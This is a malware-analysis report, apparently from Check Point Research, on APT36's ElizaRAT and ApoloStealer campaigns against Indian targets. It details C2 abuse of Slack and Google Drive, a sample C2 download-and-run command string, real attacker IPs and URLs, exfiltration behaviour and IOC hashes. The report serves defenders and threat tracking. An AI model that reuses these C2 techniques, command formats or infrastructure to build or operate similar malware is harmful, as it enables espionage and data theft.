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CLOUDY WITH A CHANCE OF RATS: UNVEILING APT36 AND THE EVOLUTION OF ELIZARAT

Malware Analysis


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Nov 4
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Nov 3

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INTRODUCTION

APT36, also known as Transparent Tribe, is a Pakistan-based threat actor
notorious for persistently targeting Indian government organizations, diplomatic
personnel, and military facilities. APT36 has conducted numerous cyber-espionage
campaigns against Windows, Linux, and Android systems.

In recent campaigns, APT36 utilized a particularly insidious Windows RAT known
as ElizaRAT. First discovered in 2023, ElizaRAT has significantly evolved to
enhance its evasion techniques and maintain reliability in its command and
control (C2) communication.

This report focuses on ElizaRAT’s evolution. We examine the various payloads and
infrastructures employed by APT36 and the malware’s inner workings, including
deployment methods, second-stage payloads, and the persistent use of cloud
infrastructure.


KEY FINDINGS

 * Check Point Research is closely tracking the persistent use of ElizaRAT, a
   custom implant deployed by Transparent Tribe (aka APT36) in targeted attacks
   on high-profile entities in India. We observed multiple, likely successful,
   campaigns of Transparent Tribe in India in 2024.
 * Our analysis of recent campaigns reveals continuous enhancements in the
   malware’s evasion techniques, along with introducing a new stealer payload
   called “ApoloStealer.”
 * ElizaRAT samples indicate a systematic abuse of cloud-based services,
   including Telegram, Google Drive, and Slack, to facilitate command and
   control communications.


ELIZARAT – BACKGROUND AND EVOLUTION

First publicly disclosed in September 2023, ElizaRAT is a Windows Remote Access
Tool (RAT) utilized by Transparent Tribe in targeted attacks. ElizaRAT
infections are often initiated by CPL files distributed through Google Storage
links, likely distributed by phishing. ElizaRAT used Telegram channels in its
earlier variants to facilitate Command and Control (C2) communication.

Since its discovery, ElizaRAT’s execution methods, detection evasion, and C2
communication have all evolved. This was apparent in three distinct campaigns
that utilized the malware at the end of 2023 and the beginning of 2024. In each
campaign, the attacker used a different variant of ElizaRAT to download specific
second-stage payloads that automatically collect information.

The main characteristics of ElizaRAT include:

 * Written in .NET and the use of Costura to embed .NET and assembly modules.
 * Execution through Control Panel (.CPL) files
 * Use of cloud services such as Google, Telegram, and Slack for distribution
   and C2 communication
 * Drops lure documents or videos as decoys
 * In most samples, uses IWSHshell to create a Windows shortcut to the malware
 * In most samples, uses SQLite as a resource to store files from the victim’s
   machine in a local database before exfiltration
 * Generates and stores a unique victim ID in a separate file on the machine.

Figure 1 – Campaign timeline, according to the malware compilation timestamps


SLACK CAMPAIGN


SLACKAPI.DLL – ELIZARAT

SlackAPI.dll (MD5: 2b1101f9078646482eb1ae497d44104) is an ElizaRAT variant that
leverages Slack channels as C2 infrastructure. It was compiled at the end of
2023 and is executed as a CPL file. CPL files are directly invoked by a double
click, making spear phishing a convenient infection route.

This variant most closely resembles the original Textsource variants of ElizaRAT
in terms of asynchronous code, functionality, and execution. It follows all the
ElizaRAT characteristics and base creation functionality:

 * Generates user info file: Creates the Userinfo.dll file within the working
   directory and stores in it the victim ID in the following
   manner: <username>-<machinename>-<random between 200 to 600>.
 * Creates the working directory: Establishes a new directory
   at %appdata%\SlackAPI.
 * Logging: Logs its actions to a text file (logs.txt) in
   the %appdata%\SlackAPI directory.
 * Time zone check: Checks if the local time zone is India Standard Time.
 * Decoys: Drops a decoy mp4 file.

To register the victims in the attacker C2, the malware reads the content
of Userinfo.dll and sends it to the C2 server. The malware then continuously
checks the C2 for new commands every 60 seconds.

It consists of three classes of code:

 * CplAppletDelegate – Includes the MAIN function and the fundamental execution
   processes.
 * Communication – Responsible for the C2 communication.
 * Controls – Contains functions for each command that the malware can receive
   from the C2.

The content received from the C2 is processed by the FormatMsgs function, which
knows how to parse the content and run the related function from
the Controls according to the command received from the C2.

The following are the commands the malware can process:

CommandDescriptionFunctionfilesDownloads a file specified in the C2 message and
acknowledges the download to the C2.Controls.DownloadFilescreenshotCaptures a
screenshot of the infected system’s desktop and uploads it to the
C2.Controls.screenshotonlineSends the current user information (stored
in Userinfo.dll) to the C2 to confirm that the system is
online.Controls.onlinedirSends a directory listing of a specified path on the
victim’s machine to the C2.Controls.DirectoryInfouploadUploads a specified file
from the victim’s machine to the C2.Controls.UploadfileRunFileExecutes a
specified file stored in the working directory.Controls.RunFileexitTerminates
the malware execution on the victim’s machine.Environment.Exit(0)infoCollects
and sends detailed system information, including OS version and installed
antivirus software.Controls.Information

The C2 communication in SlackAPI.dll is managed through the Communication class,
which uses Slack’s API to interact with the attacker.
The ReceiveMsgsInList() function continuously polls the channel C06BM9XTVAS via
the Slack API
at https://slack[.]com/api/conversations.history?channel=C06BM9XTVAS&count=1&limit=1,
using the bot token and the victim ID content in the request. This function runs
in an endless loop, checking for new commands every 60 seconds.

For message and file handling, the SendMsg() function sends messages to the C2
by posting to https://slack.com/api/chat.postMessage with the content and
channel ID C06BWCMSF1S, while SendFile() uploads files to the same channel
using https://slack.com/api/files.upload. The DownloadFile() function retrieves
files from a provided URL, saving them to the victim’s machine
using HttpClient and the bot token for secure access.


APOLOSTEALER (SLACKFILES.DLL)

The threat actor deployed an additional payload, which we named ApoloStealer, on
specific targets. According to the compilation time, the variant of ApoloStealer
used in this campaign was compiled one month after the ElizaRAT SlackAPI.dll
variant, which might suggest that additional payloads are involved.

ApoloStealer employs techniques similar to other Transparent Tribe malware:

 * Checks the local time zone is India Standard time.
 * The working directory is the same as SlackAPI.dll – %appdata%\SlackAPI.
 * Includes SQLite.Interop.dll as a resource and two other mp4 files used as
   decoys.
 * Creates a user info file with the name appid.dll and stores the victim ID in
   a similar manner: <username>-<machinename>-<random between 500-1000>.
 * Registers the victim at the attacker C2, http://83.171.248[.]67/suitboot.php,
   and waits for a response.
 * Creates an LNK shortcut via IWSHELL to run the file using rundll.
 * Logs all its action in a local log file created in the working
   directory %appdata%\SlackAPI\rlogs.txt.

After creating the database file, ApoloStealer creates a table to store data in
these fields: filename, file path, flag, type, and modified date. The malware
then collects all DESKTOP files that do not start with ~ or ! and have one of
the following extensions:

.ppt, .pptx, .pptm, .potx, .potm, .pot, .ppsx, .ppsm, .odp, .doc, .docm, .docx,
.dot, .dotm, .dotx, .odt, .rtf, .pdf, .xls, .xlsx, .csv, .txt, .zip, .rar, .png,
.jpg, .tar, .jpeg, .raw, .svg, .dwg, .heif, .heic, .psd

After storing all the relevant files in the database file, ApoloStealer sends
the data to the C2 server at the URL http://83.171.248[.]67/oneten.php.

The malware repeats the same process for the Downloads directory, OneDrive
directory, and each fixed drive on the machine, except for C:\.


CIRCLE CAMPAIGN

Compiled in January 2024, the Circle ElizaRAT variant is an improved version of
the malware. It utilizes an additional dropper component, which results in much
lower detection rates. The Circle campaign uses a payload that resembles the
SlackFiles payload and uses a similar working directory (%appdata%\SlackAPI).

Unlike other ElizaRAT variants, the Circle campaign does not use any cloud
service as C2 infrastructure and instead uses a simple virtual private server
(VPS) for C2 communication.

Figure 3 – Circle Infection Chain.


CIRCLE DROPPER

The sole purpose of the dropper is to set up the necessities for the execution
of ElizaRAT. The function BringCircle drops and unpacks a zip file embedded as a
resource containing the ElizaRAT malware. It also creates the working
directory %appdata%\CircleCpl and drops the decoy PDF document and MP4 file.
Another feature of the malware, a known characteristic of ElizaRAT, is the
creation of an LNK file for the malware, but there is no indication that any of
the malware uses it. Note that the description of the LNK is Slack API
File, which also implicates this cluster as part of the Slack campaign.

Figure 4 – Use of WshShell to create the LNK file.

After dropping the malware, the dropper executes it with a
simple Process.start() function.


CIRCLE – ELIZARAT

This is the ElizaRAT variant utilized in the Circle campaign cluster. It
performs the same checks and base creation as all other variants:

 * Checks if the time zone is set to India Standard Time.
 * Registers the victim’s information in a DLL file located in the working
   directory %appdata%\CircleCpl, which is created by the dropper. It then sends
   its content to the attacker C2 at the
   URL http://38.54.84[.]83/MiddleWare/NewClient.
 * Victim registration occurs in two files:
   * Applicationid.dll: Stores a victim ID combining a random number (100-1000),
     the username, and the machine name (<random
     100-1000>-<username>-<machinename>), similar to other ElizaRAT variants.
   * Applicationinfo.dll: Stores detailed victim information in the
     format {machinename}>{username}>{IP}>{OS}>{machinetype}.
 * Retrieves the victim’s IP address by accessing the
   URL https://check.torproject.org/api/ip, most likely to identify the victim’s
   outbound IP address.

To get a new task from the attacker, the malware sends the content of
the applicationid.dll, with the addition of x002> at the start of the string, to
the URL http://38.54.84[.]83/MiddleWare/GetTask and waits for the response.

There are three tasks the malware can receive from the attacker:

 * at>{URI} – In this case, the malware triggers the DownloadFile() function,
   which will download the file from the URL http://38.54.84[.]83/uploads/{URI}.
 * in>{URL} – The malware triggers the DownloadFile() function, which will
   download a file from the given URL.
 * NA>NA – The malware sleeps for 2 minutes and then triggers
   the Awake() function again.

Figure 5 – An HTTP stream example of the malware’s communication.

If the malware triggers the DownloadFile() function, it will also trigger
the ExtractFile() function, designed to unpack a zip file.

Figure 6 – ExtractFile() function.

The zip file contains the SQLite DLL, which will be used in the second-stage
payload. It is extracted to %appdata%\SlackAPI, the same working directory as
the Slack campaign. If we examine the RunFile() function, we can see it is
designated to execute the SlackFiles.dll stealer.

Figure 7 – RunFile() function. The sfdll variable is equal to SlackFiles.dll.

The fact that this malware is designated to download the SlackFiles.dll payload
and use the same working directory as the Slack campaign suggests that these two
activity clusters are part of the same campaign.


GOOGLE DRIVE CAMPAIGN

The initial infection vector used in this campaign is not clear. However, based
on the file names, such as Amended Copy.cpl and Threat Alert 1307-JS-9.pdf
issued vide NATRAD note number 2511 CLKj dated 10 Aug 2024 in aspect of exercise
Tarang Shakti-2024.pdf.cpl, as well as past campaigns by the threat actor, they
were likely sent via spear phishing.

Figure 8 – Google Drive-based Campaign Infection Chain.

Much like previous versions, the CPL file is a dropper responsible for setting
up all the necessities for the next stage, including:

 * Create the working directory ApplicationData\BaseFilteringEngine
 * Register the victim
 * Establish persistence through a schedule task
 * Drop ElizaRAT files, including the decoy PDF, an X.509 certificate, and the
   main ElizaRAT variant (BaseFilterEngine.dll)


COMMAND AND CONTROL

The ElizaRAT variant used in this campaign leverages Google Cloud for its C2
communication. Utilizing the Google C2 channel, the actor sends commands to
download the next stage payload from different virtual private servers (VPS). In
this campaign, we observed the use of three different VPS.

The main ElizaRAT malware (baseFilteringEngine.dll) uses the X.509 certificate
to create a ServiceAccountCredential object for authenticating a Google Cloud
Storage service account: xijinping@round-catfish-416409.iam.gserviceaccount.com.
The email associated with this service account is fikumatry@gmail.com . The
malware checks for the parent folder 1Gwy3yPyyYJVoOvCMfsmhhCknC-tiuNFv and lists
all the files in that folder. Next, it locates the related victim’s tmp1 file,
gets the commands and logs its actions.

The only command the malware can process is the Transfer command, which directs
the malware to download a payload from a specific VPS address. Below is a sample
format of the command the malware received for the chosen victims:

Transfer:!http://84.247.135[.]235:8080/phenomenon/SpotifyAB.zip:!rundll32.exe:!SpotifyAB.dll:!SpotifyAB.zip:!Mean:!Doj!@g8H6fb:!SpotifyAB

The malware splits the command at :! into an array, where each element
represents a specific parameter of the operation:

array[0]The operation to execute: “Transfer”array[1]Download URL.array[2]Process
to execute the file (parent).array[3]File name.array[4]File
name.array[5]Function to execute.array[6]Zip password.array[7]Name of the folder
to create and store.

When processing the command, the following sequence is triggered:

 1. A folder is created as specified.
 2. The function DownloadProtection downloads a file using
    an HttpWebRequest from a specified URL to the file with the specified name
    in the working folder.
 3. The function Withdraw extracts the received file using the provided
    password.
 4. The function BetaDrum creates a scheduled task that runs the file with the
    provided parent every 5 minutes.
 5. A message is sent to the server indicating the successful operation.


PAYLOADS – GOOGLE DRIVE CAMPAIGN

So far, we’ve seen two payloads utilized in this
campaign: extensionhelper_64.dll and ConnectX.dll. Both payloads function as
info stealers, each designed for a specific purpose. Despite these minor
changes, the payloads’ core functionality and primary purpose remained
consistent throughout the campaign.


APOLOSTEALER (STEALER EXTENSIONHELPER_64)

The extensionhelper_64.dll file is downloaded to the victim’s machine
as SpotifyAB.dll or Spotify-news.dll and is executed by the scheduled task,
which runs the Mean function via rundll32.exe. This payload is a file stealer
that collects specific file types, stores their metadata in a database, and
exfiltrates it to the C2 server.

First, the malware creates an SQLite database file, which interacts with using
the DBmanager class and the SQLite.Interop.dll. The SQLite DLL is embedded in
the malware in a protected zip file, which the malware extracted using a plain
text password.

While iterating over all files on the fixed drives, the malware skips
directories such as Program Files, Windows, ProgramData, and AppData to avoid
processing system directories. It also filters out files that start with $, .,
or ~, which are typically system or temporary files. The malware is only
interested in these file suffixes:

.xla .xlam .xll .xlm .xlsm .xlt .xltm .xltx .dif .xls .xlsx .ppt .pptx .pot
.potm .potx .ppam .pps .ppsm .ppsx .pptm .pub .rtf .sldm .sldx .pdf .jpg .png
.jpeg .odf .odg .zip .csv .xlc .rar .tar

The malware stores the name, path, and another parameter called isUploaded for
each relevant file. isUploaded is a boolean variable indicating whether the file
was uploaded to the C2. If a file wasn’t uploaded to the C2, the malware calls
the sendRequest function, which reads the file’s byte content and sends it to
the C2 while updating its upload status.

Like the other malware in this campaign, it also hides some of its operations in
a text blob, which it splits by ‘ ‘ (space). The information it tries to hide
includes its C2 server and the different web pages it communicates with, even
though they are not eventually used:

Figure 9 – The text blob used to hide some strings in the payload, split by
space.


CONNECTX – USB STEALER

An additional payload is designed to examine files on external drives, such as
USBs. This malware utilizes WMI (Windows Management Instrumentation) to list all
relevant files on external drives and targets the same file extensions. However,
instead of storing them in a database, it stores them in an archive it creates
in the BaseFilteringEngine working directory.

The malware uses WMI to monitor the creation of new disk drives every two
seconds, most likely to detect the insertion of a USB drive:

SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA
'Win32_DiskDrive'

For each device, it retrieves the device ID and serial number and checks for the
correct disk partition to iterate on. Unlike other ElizaRAT-associated stealers,
ConnectX doesn’t have a C2 server to exfiltrate the data to; it just stores the
data in a zip file in the ElizaRAT working directory
%appdata%\BaseFilteringEngine.


ATTRIBUTION

ElizaRAT is a custom tool known to be employed exclusively by “Transparent
Tribe” against targets similar to those described in this report. This is in
addition to other indicators linked to the group’s campaigns, including using an
overlapping email account in a different activity cluster
targeting Linux systems.

Like other malware associated with Transparent Tribe, all the samples presented
here used the name Apolo Jones. In the Google Drive campaign, the decoy PDF file
attributes its authorship to Apolo Jones, a distinctive name previously observed
in various aspects of Transparent Tribe’s operations.

Figure 10 -ElizaRAT lure PDF Metadata.

The use of Apolo Jones occurs differently in the campaigns. For example, in the
Circle dropper, the password ApoloJones2024 is used to uncompress the zip file.
In addition, the function responsible for checking the time zone in
the SlackFiles.dll payload is also named ApoloJones.


VICTIMOLOGY

The internal checks the ElizaRAT variants perform suggest the campaigns
exclusively targeted Indian systems, evidenced by each malware variant’s initial
function of verifying whether the system’s time zone was set to 'India Standard
Time’.

Figure 11 – An example of the time zone check in the SlackFiles.dll payload.
This function occurs in all samples.


CONCLUSION

The progression of ElizaRAT reflects APT36’s deliberate efforts to enhance their
malware to better evade detection and effectively target Indian entities. By
integrating cloud services like Google Drive, Telegram, and Slack into their
command and control infrastructure, they exploit commonly used platforms to mask
their activities within regular network traffic.

Introducing new payloads such as ApolloStealer marks a significant expansion of
APT36’s malware arsenal and suggests the group is adopting a more flexible,
modular approach to payload deployment. These methods primarily focus on data
collection and exfiltration, underscoring their sustained emphasis on
intelligence gathering and espionage.


PROTECTION

Harmony Endpoint

 * APT.Win.ElizaRAT.B/C/D

Threat Emulation

 * RAT.Wins.Eliza.ta.A/B/C/D


IOCS

Files

TypeValueDescriptionMD5730f708f2788fc83e15e93edd89f8c59ElizaRAT Dropper
BaseFilter.dll
(amended
copy.cpl)SHA1549d80d0d2c3e2cf3ea530f37bfc0b9fe0cbd5f4SHA25606d9662572a47d31a51adf1e0085278e0233e4299e0d7477e5e4a3a328dea9d1MD50cd16d0a2768b9ec0d980ccf875b2724ElizaRAT
BaseFilteringEngine.dllSHA188fd8d71d879257b6cbf2bc12b6493771b26d8a0SHA256a7fd97177186aff9f442beb9da6b1ab3aff47e611b94609404e755dd2f97dce8MD50673341ccceeace3f0b268488f05db80ElizaRAT
Dropper
BaseFilter.dll
(Tarang
Shakti)SHA1bc62b98437abd81a1471633afb9cff5dd898cdf8SHA25670bafcf666e8e821212f55ea302285bb860d2b7c18089592a4a093825adbaa71MD52b1101f9078646482eb1ae497d44104cElizaRAT
SlackAPI.dllSHA16ac91c9e6beeacd74c56dfde9025e54e221b016cSHA25660b0b6755cf03ea8f6748a1e8b74a80a3d7637c986df64ee292f5ffefcd610a2MD5795d1be0915ec60c764b7a7aa6c54334ElizaRAT
Dropper
circledrop.cplSHA186afc3e8046dfff3ec06bd50ae38f1da7797c3e2SHA2567e04e62f337c5059757956594b703fc1a995d436c48efa17c45eb0f80af8a890MD58703b910ece27b578f231ce5eb1afd8fElizaRAT
Circle.cplSHA1f7424286b6b5f8dbad86856ef178745e34c8e83aSHA2562b6a273eae0fb1835393aea6c30521d9bf5e27421c2933bfb3beee8c5b27847eMD5009cb6da5c4426403b82c79adf67021cApoloStealer
SlackFiles.dllSHA1f98019e637a2ae58d54ff903770b35eefb106432SHA256d66ba4ee97a2f42d85ca383f3f61a2fac4f0b374aad1337f5f29245242f2d990MD53a2c701408d94bbcdcf954793f6749bcApoloStealer
SpotifyAB.dllSHA10db24c0a4dd12e5fa412434222d81de8e2de4b3cSHA256dca78e069bfd9ca4638b4f9cb21dff721530d16924e502c03d8c9aa334b7ca0dMD51bac7ea5a9558d937eaf0682523e6a06ApoloStealer
Spotify-News.dllSHA1b7814d9f6f2096f5a9573ade52547a447eff33bbSHA256348c0980c61d7c682cce7521aaad13a20732f7115cb5559729b86ca255f1af7fMD5d3fe72a3b9cb5055662e6a0e19b8f010ApoloStealer
Spotify-Desk.dllSHA1c4c9aaeb74782cd9b5b8701d46e55cf299277215SHA2566f839ded49ebf1dad014d79fbab396e2067c487685556a8402f3acdeb1600d98MD5b54512bf0ed75a9f2dee26a4166461a2USB
Stealer
EmergencyBackup.dllSHA1b09d059e8d6b87f3a6165e4d71901187d0aa99d5SHA2560a52c0ac04251ac1a8bc193af47f33136ae502b0c237de5236d1136acc3b1140MD5ab127d76a40f1cb0cfd81ba1e786d983USB
Stealer
ConnectX.dllSHA1115e612a4e653cd915d5fc07246a00369fe38cdeSHA256b41e1d6340388b08694ae649a54fa09372f92f4038fd84259a06716fa706b967MD5b9d9e75a2e6b81277f2052a1f0b14e45ElizaRAT
Dropper
Award Verification to Air Cmde GS
Matharu.cplSHA11fc28b9e902dd2a8b771b1dc7ec3a62ad04fb02bSHA2566296fb22d94d1956fda2a6a48b36e37ddd15cf196c434ab409c787bf8aa47ac3MD558643299e340ae7b01efc67ef09ed369ElizaRAT
WordDocument.cplSHA1e5377172ee4bae1508405370ee41bee646837c04SHA256263f9e965f4f0d042537034e33699cf6d852fb8a52ac320a0e964ce96c48f5e5MD516ea7ce77c875a17049e9607323d1be4Persistence
tool
Aboutus.dllSHA10c9400e6b8c9244fd187a9f021d0da0b70b6f6fdSHA2568d552547fe045f6006f113527eb5dd4a8d5918c989bf11090c7cb44806d595beMD547990d1df44767ee3a6c4a6673ee76e9USB
Stealer
DonateUS.dllSHA143ac372b9cd05eefae3f50a0e487562759f3b0d9SHA256308c84c68c18af8458ae61afe1f2eec78f229e188724e271bd192a144fd582fcMD57ecaa3c5a647d671a9aa4369d4a43b83ElizaRAT
Dropper
Profile Verificition for Award.cpl
WordDocument.dllSHA1ee3162e649183490038da015e51750f23ae18d0fSHA256b9e10e83a270e1995acaceb88ce684fb97df6156a744565b20b6ec3bc08c2728MD5af2ec3dcfdbb7771b0a7a3d2035e7e99ElizaRAT
WordDocument.cplSHA12e8139275a48cd048c21e1942b673ae0781dd0b8SHA256b30a9e31b0897bfe6ab80aebcd0982eecf68e9d3d3353c1e146f72195cef0ef5


NETWORK

TypeValueDescriptionIP84.247.135[.]235C2 server – Google Drive
campaignIP143.110.179[.]176C2 server – Google Drive campaignIP64.227.134[.]248C2
server – Google Drive campaignIP38.54.84[.]83C2 server – Circle
campaignIP83.171.248[.]67C2 server – Slack campaign

The post Cloudy With a Chance of RATs: Unveiling APT36 and the Evolution of
ElizaRAT 8 appeared first on Check Point Research.

Article Link: Cloudy With a Chance of RATs: Unveiling APT36 and the Evolution of
ElizaRAT - Check Point Research 8







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